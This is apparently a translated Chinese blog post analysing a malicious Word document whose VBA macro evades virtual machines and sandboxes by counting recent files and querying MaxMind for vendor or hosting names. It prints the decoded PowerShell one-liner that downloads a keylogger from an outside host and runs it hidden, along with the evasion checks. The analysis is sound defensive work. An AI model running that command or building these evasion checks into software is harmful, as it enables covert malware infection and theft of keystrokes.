標籤:

愛學 | 如何躲避虛擬機檢測?

最近,我在調查一個惡意軟體,並且花了很多時間在這上面,結果發現這款惡意軟體很不尋常,一丁點問題就可能導致它崩潰,根本起不了破壞作用。

在這篇文章中,我會探討在一個惡意Word文檔中發現的一些躲避虛擬機檢測的伎倆。

這個惡意軟體的名字叫做"Intelligent Software Solutions Inc.doc」,sha256哈希是048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e。相關的軟體樣本可以在VirusTotal搜索"vbaproject.bin""activeX1.bin" type:docx找到。

這便是這個文檔在Word中打開的樣子:

看起來沒什麼可疑的。再來看下代碼:

這是一個典型的Word惡意軟體。它沒有實質內容,包括可執行的代碼(活動內容),代碼看上去一片混亂。

我首先注意到上面的這個子程序:InkPicture1_Painted(ByValDQkDFU As Long, ByVal KPhPosT As IInkRectangle)。它看起來像是一個入口點,很有可能每次點擊」Enable Content"鍵或ActiveX control被Word渲染時代碼就被執行。它會調用IuIxpP然後把引起的一切錯誤都給「吞掉」。

伎倆 #1

這個IuIxpP 子程序會調用兩個方法:DKTxHE和qrNjY,如果其中一個返回true,就會引發一個錯誤。第一個DKTxHE看上去很簡單:

Public Function DKTxHE() As BooleanDKTxHE = RecentFiles.Count < 3End Function

通過RecentFiles對象可以訪問歷史文檔。除非是剛安裝的Word,許多用戶都打開過兩個以上的文檔。不過在虛擬機測試中,軟體通常顯示未被「侵入」。當創建了一個虛擬機,安裝好軟體(或者還打開過一兩次測試其是否能用),這個狀態就被保存下來,每次需要測試的時候,重新載入一下即可。

這些虛擬機鏡像可被用於自動分析和測試工具中,這些工具運行惡意軟體以查看它們是如何工作。如果一個惡意軟體足夠聰明知道自己在虛擬機中被測試的話,它就會避免做出一些可疑行為,從而延長被這些測試工具發現的時間。

伎倆 #2

第二個子程序qrNjY,則試圖通過獲取IP地址來查看是否是虛擬機,它向maxmind.com/geoip/v2.1/ 發送了一個請求,這通常會要求某種身份認證或API密鑰。為了避開這個要求,惡意軟體會通過將HTTP Referrer 設置為maxmind.com/en/locate-m,User-Agent 設置為Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)來使這個請求看起來像是站點自身發出來的。不過通過這種手段只能獲取所請求地址的信息,用途有限。

得到的回復是JSON格式的,包含了諸如國家、城市等信息,其中最重要的是跟這個IP地址相聯繫的機構信息。例如:

{"location": { "latitude":30.7858, "longitude":-102.1232, "metro_code": 705, "accuracy_radius": 5, "time_zone":"America/Los_Angeles" }, "continent": { "names": { "ja": "北アメリカ", "pt-BR":"América do Norte", "de": "Nordamerika", "es":"Norteamérica", "ru": "Северная Америка", "fr": "Amérique du Nord", "zh-CN": "北美洲", "en": "North America" }, "code":"NA", "geoname_id":6255149 }, "city": { "names": { "pt-BR":"Oakland", "de":"Oakland", "es":"Oakland", "ja": "オークランド", "en":"Oakland", "ru": "Окленд", "fr":"Oakland", "zh-CN": "奧克蘭" }, "geoname_id":5378538 }, "postal": { "code":"94619" }, "country": { "names": { "ru": "США", "fr": "états-Unis", "zh-CN": "美國", "en": "United States", "ja": "アメリカ合衆國", "es": "EstadosUnidos", "pt-BR": "EstadosUnidos", "de": "USA" }, "iso_code": "US", "geoname_id":6252001 }, "traits": { "organization": "Comcast Cable", "isp": "Comcast Cable", "ip_address": "123.123.123.123", "autonomous_system_organization": "Comcast CableCommunications, LLC", "domain":"comcast.net", "autonomous_system_number": 7922 }, "registered_country": { "geoname_id":6252001, "names": { "zh-CN": "美國", "ru": "США", "fr": "états-Unis", "en": "United States", "ja": "アメリカ合衆國", "pt-BR": "EstadosUnidos", "de": "USA", "es": "EstadosUnidos" }, "iso_code": "US" }, "subdivisions": [ { "geoname_id":5332921, "names": { "ru": "Калифорния", "fr":"Californie", "zh-CN": "加利福尼亞州", "en":"California", "ja": "カリフォルニア州", "pt-BR": "Califórnia", "es":"California", "de": "Kalifornien" }, "iso_code": "CA" } ]}

從上面的示例回復中,可以得知這個IP地址跟Comcast關聯。同時,在請求發出後,一些字元串被解碼並存儲在陣列中,如果返回的JSON中含有任何這些字元串,代碼就會報告錯誤並停止執行。在比對之前所有內容都被轉為大寫字母。字元串被轉寫位大寫,在陣列中按字母順序排列:

AmazonanonymousBitDefenderBlackOakComputersBlue CoatBlueCoatCiscocloudData CenterDataCenterDataCentrededicatedESET, SpolFireEyeForcePointFortinetHetznerhispeed.chhostedHostingIron PortIronPortLeaseWebMessageLabsMicrosoftMimeCastNForceOvh SasPalo AltoProofPointRackspacesecurityServerStrong TechnologiesTrend MicroTrendMicroTrustWaveVMVaultZscaler

在創建了這個列表之後,很明顯,這個子程序的目的是檢查這些IP地址是否跟一些託管和反病毒公司關聯,那些公司經常會使用虛擬機來測試惡意軟體。

在把這兩個反沙盒和反虛擬機的子程序拆開分析後,我大概知道為什麼有時我們檢測不到這個惡意插件了。為了驗證我的猜想,我創建了一個新Word文檔,複製兩份,然後給三個文檔分別命名了不同的名字。然後,我打開了其中一個並關閉,以製造出歷史文檔記錄。接著,我打開惡意軟體,啟動活動內容,果不其然立馬就彈出「檢測到威脅」,惡意文檔差不多是立刻終止,根本就沒機會搞「破壞」。因為它實際上也沒做什麼破壞,所以也檢測不到。

由於仍然好奇其有效載荷(payload),我繼續拆解該軟體,然後發現它能執行一些PowerShell命令:

powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-ObjectSystem.Net.WebClient).DownloadFile(http://silkflowersdecordesign.com/admin/worddata.dat,$f);(New-Object -com WScript.Shell).Exec($f)

這個腳本下載了silkflowersdecordesign.com,這是一個低級別的擊鍵記錄器,其中worddata.dat 的 sha256 哈希是19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744.

研究人員在Proofpoint,Deepen Desai在zscaler上都曾探討了躲避虛擬機/躲避沙盒技術。這些方法在不同惡意軟體家族中都出現過,看起來這似乎是基於VBA的惡意軟體的新發展趨勢。

測試惡意軟體不容易,很多地方都會出錯,特別是當你不是僅僅基於signatures而是檢測惡意行為時,為了能正確評估一個AV產品,必須像這樣測試——運行這些惡意代碼,觀察其最真實的行為。不過你得挑那些還「活著」的,也就是說其命令和控制的伺服器還存在而且運行良好,此外你還要將虛擬機設置得儘可能地貼近真實用戶的情況。

這兩點都可以實現。但測試經常會遇到:惡意軟體不能有效執行或者沒有作出惡意行為;新創建的虛擬機鏡像根本沒有用戶活動記錄;或是在雲端運行測試,而這又很容易通過詢問IP地址信息被惡意軟體覺察。挑選合適的測試對象並創建合適的虛擬鏡像需要下一些工夫。

如果在這上邊偷懶,測試結果就會偏離,而且也沒有意義。Signatures可以很輕鬆地檢測到不能運行或者沒有惡意行為的可執行文檔,但問題是,這些是你的用戶面臨的威脅嗎?真正的威脅是那些沒人見過的,或者非常新以至於signatures還沒被製造出來。一次好的測試必須使用目前仍然運行良好的惡意軟體樣本,並在最逼真的環境中執行。

註:本文參考來源於sentinelone

推薦閱讀:

(譯)IE URL處理不當引來的血案
WannaCry 勒索病毒數據恢復指引
摩訶草APT團伙新腳本類攻擊樣本分析報告
繞過AppLocker系列之MSBuild的利用
谷歌、Facebook等公司不願分享用戶數據,英國政府用高稅收威脅

TAG:信息安全 |